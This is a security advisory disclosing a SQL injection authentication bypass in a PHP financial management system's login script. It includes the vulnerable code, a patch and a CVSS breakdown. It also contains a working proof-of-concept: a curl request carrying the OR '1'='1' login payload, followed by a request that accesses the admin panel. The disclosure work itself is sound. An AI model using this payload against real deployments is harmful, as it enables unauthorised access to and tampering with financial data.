CVE-2026-XXXXX

Authentication Bypass via SQL Injection in Sistem Informasi Keuangan Login

---

Advisory Information

Field	Value
Ecosystem	PHP
Package/Product	Sistem Informasi Keuangan (Financial Information System)
Affected Versions	All versions through commit c5ea1cc (main branch, 2026-06-28)
Patched Versions	None
Severity	CRITICAL (CVSS 9.8)
CWE	CWE-89 (SQL Injection) + CWE-287 (Improper Authentication)
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Repository	https://github.com/Setiawan007/Sistem-Informasi-Keuangan
Stars	69 ⭐

---

Summary

Sistem Informasi Keuangan contains an unauthenticated SQL injection vulnerability in its login form (periksa_login.php). The $_POST['username'] parameter is concatenated directly into a SELECT query with no mysqli_real_escape_string(), no prepared statement, and no input validation. An attacker can bypass authentication entirely, logging in as the first user in the database (typically the administrator), gaining full access to the financial management system.

---

Affected Component

Field	Value
Ecosystem	PHP
Package	Setiawan007/Sistem-Informasi-Keuangan
Vendor	Setiawan007
Affected Versions	All
Patched Versions	None
File	periksa_login.php, lines 8-10
Commit	c5ea1cc (Jangan Lupa Follow @Setiawan007, 2026-06-28)

---

Description

Vulnerable code (periksa_login.php, full file):

<?php
include 'koneksi.php';

// menangkap data yang dikirim dari form
$username = $_POST['username'];          // ← RAW USER INPUT
$password = md5($_POST['password']);     // ← hashed, safe

// ❌ Direct string interpolation — no escaping, no prepare
$login = mysqli_query($koneksi,
    "SELECT * FROM user WHERE user_username='$username' AND user_password='$password'"
);
$cek = mysqli_num_rows($login);

if($cek > 0){
    session_start();
    $data = mysqli_fetch_assoc($login);
    $_SESSION['id'] = $data['user_id'];
    $_SESSION['nama'] = $data['user_nama'];
    $_SESSION['username'] = $data['user_username'];
    $_SESSION['level'] = $data['user_level'];

    if($data['user_level'] == "administrator"){
        $_SESSION['status'] = "administrator_logedin";
        header("location:admin/");
    }

The $username variable is taken directly from $_POST['username'] with zero sanitization — no mysqli_real_escape_string(), no intval(), no prepared statement. The single quote in an SQL injection payload terminates the string literal in the WHERE clause.

---

Proof of Concept

Environment: Sistem Informasi Keuangan deployed at http://target/.

Step 1 — Bypass login (no valid credentials):

curl -c /tmp/cookies -X POST "http://target/periksa_login.php" \
  --data "username=admin'+OR+'1'='1'+--+" \
  --data "password=anything"
# Redirects to admin/ — authentication bypassed

What the database executes:

SELECT * FROM user WHERE user_username='admin' OR '1'='1' -- ' AND user_password='<md5_hash>'

The OR '1'='1' makes the WHERE clause always true. The -- comments out the password check. MySQL returns the first row in the user table — typically the administrator.

Step 2 — Access admin panel with stolen session:

curl -b /tmp/cookies "http://target/admin/"
# Full administrative access — manage financial data, users, reports

---

Impact

CIA	Level	Description
Confidentiality	HIGH	Full access to financial records, user data, transaction history
Integrity	HIGH	Modify/delete financial records, create fraudulent transactions, add users
Availability	HIGH	Delete all data via admin panel, disable system access

CVSS 9.8 — authentication bypass via SQL injection, no credentials needed, full admin access.

---

Patches

- $username = $_POST['username'];
  $password = md5($_POST['password']);
- $login = mysqli_query($koneksi, "SELECT * FROM user WHERE user_username='$username' AND user_password='$password'");
+ $stmt = mysqli_prepare($koneksi, "SELECT * FROM user WHERE user_username=? AND user_password=?");
+ mysqli_stmt_bind_param($stmt, "ss", $_POST['username'], $password);
+ mysqli_stmt_execute($stmt);
+ $login = mysqli_stmt_get_result($stmt);

---

Verification

git clone https://github.com/Setiawan007/Sistem-Informasi-Keuangan
cd Sistem-Informasi-Keuangan

grep -n '\$_POST.*username' periksa_login.php
# Output: 8: $username = $_POST['username']; — raw input, no escaping

grep -c 'real_escape\|prepare\|intval' periksa_login.php
# Output: 0 — zero protection

---

References

Type	URL
Repository	https://github.com/Setiawan007/Sistem-Informasi-Keuangan
Vulnerable code	https://github.com/Setiawan007/Sistem-Informasi-Keuangan/blob/main/periksa_login.php
CWE-89	https://cwe.mitre.org/data/definitions/89.html
CWE-287	https://cwe.mitre.org/data/definitions/287.html

---

Credits

Role	Name
Finder	Fatullayev Asadbek
Reporter	Fatullayev Asadbek
GitHub	Kimdir01

---

Timeline

Date	Event
2026-06-28	Vulnerability discovered via source code analysis
2026-06-28	Local verification — raw $_POST['username'] confirmed
2026-06-28	Vendor notified + CVE ID requested via GitHub Security Advisory
TBD	Vendor acknowledgment / response
TBD + 90 days	Coordinated public disclosure

---

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL

AV:N — Remote over HTTP (login form is public)
AC:L — Simple POST request
PR:N — No authentication required (login page accessible to anyone)
UI:N — No user interaction
S:U   — Same security context
C:H   — Full access to financial data, user records
I:H   — Modify/delete records, create users
A:H   — Destroy all data via admin panel